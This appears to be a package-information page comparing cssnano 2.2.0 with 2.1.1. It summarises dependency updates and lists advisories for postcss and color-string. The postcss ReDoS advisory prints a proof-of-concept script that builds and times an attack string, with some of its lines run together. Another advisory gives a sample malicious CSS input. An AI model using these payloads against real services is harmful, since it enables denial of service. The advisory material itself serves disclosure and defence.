Cssnano version 2.2.0 represents a minor update over version 2.1.1, both being modular minifiers built upon the PostCSS ecosystem. Examining the dependency differences offers insights into the refinements made.
In the newer version, several dependency updates are present. postcss-colormin advances from version 1.2.3 to 1.2.4, indicating potential bug fixes or minor feature additions related to color optimization. Similarly, postcss-font-family updates from version 1.1.1 to 1.2.0, hinting at improvements in font family handling. postcss-reduce-idents goes from 1.0.1 to 1.0.2 indicating improvements/bug fixes. postcss-convert-values moves from version 1.2.3 to 1.2.4 showing some improvements/bug fixes with value conversion, and postcss-minify-selectors jumps from 1.4.2 to 1.4.5, likely encompassing enhancements in selector minification.
The core cssnano package has changes in its dependencies, and given this package focuses on minifying css, performance or better compression can be expected.
On the development dependency side, tape rises from version 4.0.1 to 4.0.3 and webpack updates from 1.10.5 to 1.11.0; this usually means fixes, new features, or performance improvements.
For developers using cssnano, these incremental upgrades suggest a focus on dependency stability and potential performance enhancements in specific areas of CSS minification. While the core functionality remains consistent, users can anticipate refined color, font family, selector and value handling capabilities in version 2.2.0. It's advisable for users of 2.1.1 to upgrade to benefit from these improvements and keep their dependencies up-to-date.
All the vulnerabilities related to the version 2.2.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.